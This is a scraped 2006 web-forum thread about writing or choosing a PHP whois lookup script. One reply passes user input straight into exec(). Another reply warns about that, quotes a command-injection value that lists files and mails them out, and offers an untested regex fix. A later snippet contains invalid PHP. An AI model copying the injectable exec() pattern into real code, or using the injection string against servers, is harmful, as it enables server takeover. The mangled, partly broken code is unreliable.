NamePros
Welcome, Guest! Ready to make a name for yourself in the domain business? We welcome both the hobbyist and professional domainer to join the discussion as part of the NamePros community.

Click here to create your profile to start earning reputation for posting, and trader ratings for buying & selling in our free e-marketplace. Build your trader rating with each successful sale. Our system has tracked over 100,000 sales and counting!
FAQ & TOS Register Search Today's Posts Mark Forums Read

Go Back   NamePros.com > Website Development Discussion Forums > Programming
Reload this Page Best who is script

Programming PHP, Perl, Ruby on Rails, AJAX, HTML, XHTML, CSS, JavaScript, MySQL and any other coding topics.

Advanced Search


Closed Thread
 
LinkBack Thread Tools
Old 08-24-2006, 04:13 AM THREAD STARTER               #1 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief

Best who is script


Please recomend a customizeable whois script with cacheing...

Free or Paid both will work.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-24-2006, 04:28 AM   #2 (permalink)
tm
Senior Member
 
tm's Avatar
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,408
tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light
 



PHP Code:
<?php
$domain 
$_GET['domain'];
exec("whois $domain"$whois_results$error);
foreach(
$whois_results as $line) {
echo 
$line."<br />";
????: NamePros.com http://www.namepros.com/programming/230999-best-who-is-script.html
}
?>
I think that's it. Just wrote it so can't test.
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 04:40 AM THREAD STARTER               #3 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
thanks for showing the way to do it!

but i was asking for a full/ install able working script.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-24-2006, 05:00 AM   #4 (permalink)
tm
Senior Member
 
tm's Avatar
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,408
tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light
 



That's very customizeable. Just place it wherever your page is, and have the URL as page.php?domain=example.com. You could even have a form on a previous page that would look something like this:

HTML Code:
<form action="page.php" method="get">
<input type="text" name="domain"><input type="submit" value="Whois?">
</form>
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 07:04 AM THREAD STARTER               #5 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
wow, the form was the missing part. I will impliment it in a day, and will bother you again on this if lost.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-24-2006, 11:50 AM   #6 (permalink)
NamePros Regular
 
baxter's Avatar
Join Date: Apr 2006
Posts: 363
baxter is just really nicebaxter is just really nicebaxter is just really nicebaxter is just really nice
 


Ethan Allen Fund Save The Children
Originally Posted by tm
PHP Code:
<?php
$domain 
$_GET['domain'];
exec("whois $domain"$whois_results$error);
????: NamePros.com http://www.namepros.com/showthread.php?t=230999
????: NamePros.com http://www.namepros.com/showthread.php?t=230999
foreach(
$whois_results as $line) {
echo 
$line."<br />";
}
?>
I think that's it. Just wrote it so can't test.
You'll want to sanitize the $_GET['domain'] or you won't like the result of submitting the form with thiis as the domain:

test.com | ls -al | mail youremail@email.com

basically gives them shell access to your server. A way you can sanitize it is by doing: Untested

PHP Code:
<?php
if( preg_match('/\\b(?P<subdomain>(?:[-a-z0-9]+\\.)+)?(?P<domain>[-a-z0-9]+)\\.(?P<tld>[a-z]{2,6})(\\/[-a-z0-9&@=~_.?\\/]*)?\\\??(\\\?[-A-Za-z0-9\\/=~]*)?/i'$_GET['domain'], $match) )
$domain $match['domain'].".".$match['tld'];
exec("whois $domain"$whois_results$error);
foreach(
$whois_results as $line) {
echo 
$line."<br />";
}
?>
baxter is offline  
Old 08-24-2006, 11:54 AM   #7 (permalink)
tm
Senior Member
 
tm's Avatar
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,408
tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light
 



woops, guess that would have been bad :$
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 11:59 AM   #8 (permalink)
Senior Member
 
seeker's Avatar
Join Date: May 2004
Posts: 1,169
seeker is just really niceseeker is just really niceseeker is just really niceseeker is just really nice
 



it is better to use a script that has some sort of image authentication to prevent bots from harvesting email addresses and causing server stress...

I use Matt's whois. http://www.mattsscripts.co.uk/mwhois.htm
However, I currently disabled it for the above mentioned reasons.
other than that, it is extremelly good, custumizable (to change some fuctions and display), and fast.
__________________
Seek and you shall find!
seeker is offline  
Old 08-24-2006, 12:59 PM   #9 (permalink)
NamePros Regular
 
baxter's Avatar
Join Date: Apr 2006
Posts: 363
baxter is just really nicebaxter is just really nicebaxter is just really nicebaxter is just really nice
 


Ethan Allen Fund Save The Children
Originally Posted by tm
woops, guess that would have been bad :$
no worries bro just always be careful of anything you pass to exec eval system etc
????: NamePros.com http://www.namepros.com/showthread.php?t=230999

Bax
baxter is offline  
Old 08-25-2006, 02:37 AM THREAD STARTER               #10 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
Originally Posted by seeker

I use Matt's whois. http://www.mattsscripts.co.uk/mwhois.htm
However, I currently disabled it for the above mentioned reasons.
other than that, it is extremelly good, custumizable (to change some fuctions and display), and fast.
thanks seeker, for a person like me with no php experince, it would be better to use an anthiticated script that to develop.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-25-2006, 03:01 AM   #11 (permalink)
Eating Pie
 
iNod's Avatar
Join Date: Nov 2004
Location: Canada
Posts: 2,272
iNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud of
 


Special Olympics AIDS/HIV Cystic Fibrosis Save The Children Baby Health Cystic Fibrosis
I am going to give Mr WhoIS an overlook and I will upload a new copy for you seeker that will include a simple image as an email.

- Steve
__________________
I feel old.
iNod is offline  
Old 08-25-2006, 03:23 AM   #12 (permalink)
NamePros Legend
 
weblord's Avatar
Join Date: Dec 2005
Location: Philippines - www.Nabaza.com
Posts: 19,785
weblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatness
 


Autism Protect Our Planet
i got one in .cgi about 190+ ext.
__________________
Nabaza.com - Amaia
weblord is offline  
Old 08-25-2006, 03:43 AM THREAD STARTER               #13 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
Originally Posted by iNod
I am going to give Mr WhoIS an overlook and I will upload a new copy for you seeker that will include a simple image as an email.

- Steve
We will be waiting for it anxiously.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-27-2006, 09:52 AM   #14 (permalink)
New Member
Join Date: Aug 2005
Posts: 17
ginocote is an unknown quantity at this point
 



The bes free whois scripts


Hi,

I used Dev whois for www.toolurl.com it's the best i found,

A new one i used for www.woislookup.com
you will see where it come from at the end of the webpage after a search.

Cheer
ginocote is offline  
Old 08-28-2006, 12:07 AM THREAD STARTER               #15 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
Originally Posted by ginocote
I used Dev whois for www.toolurl.com it's the best i found,
????: NamePros.com http://www.namepros.com/showthread.php?t=230999

A new one i used for www.woislookup.com
you will see where it come from at the end of the webpage after a search.
Thanks, toolurl seems to quite cool. I will be looking into it further.
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Old 08-28-2006, 12:19 AM   #16 (permalink)
NamePros Regular
 
Jim_'s Avatar
Join Date: Aug 2005
Location: NY, USA
Posts: 610
Jim_ is a splendid one to beholdJim_ is a splendid one to beholdJim_ is a splendid one to beholdJim_ is a splendid one to beholdJim_ is a splendid one to beholdJim_ is a splendid one to behold
 


Save The Children
Here's a way that queries an external whois server:

(ripped and modified a bit from my domain checker script)
PHP Code:
<?php
function whois_socket($xserver$xdomain) {
$sock fsockopen($xserver,43) or return "Error Connecting To Whois Server";
fputs($sock,"$xdomain\r\n");
while(!
feof($sock))
  
$result .= fgets($sock,128);
fclose($sock);
????: NamePros.com http://www.namepros.com/showthread.php?t=230999
return 
$result;


//example usage:
if(isset($_GET['domain']))
  echo 
"<pre>"whois_socket("whois.nsiregistry.net"$_GET['domain']) . "</pre>\n";
?>
<form action="?" method="get">
<input name="domain" type="text" value="google.com"><br />
<input type="submit" value="Go!">
</form>
__________________
ask me about the internet
Jim_ is offline  
Old 08-31-2006, 05:03 AM THREAD STARTER               #17 (permalink)
creativeON.com
 
foka's Avatar
Join Date: Mar 2006
Location: the Planet Earth
Posts: 948
foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future
 


South Asia Earthquake Relief South Asia Earthquake Relief
Originally Posted by Jim_
Here's a way that queries an external whois server:
Thx, jim

and all others for help.

I am trying the scripts one by one
__________________
Free link directory: links.pk

.pk domain registration for 25$
foka is offline  
Closed Thread


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools


Liquid Web Smart Servers  
All times are GMT -7. The time now is 08:48 PM.

Managed Web Hosting by Liquid Web
Domain name forum recommended by Domaining.com Powered by: vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.6.0 Ad Management plugin by RedTyger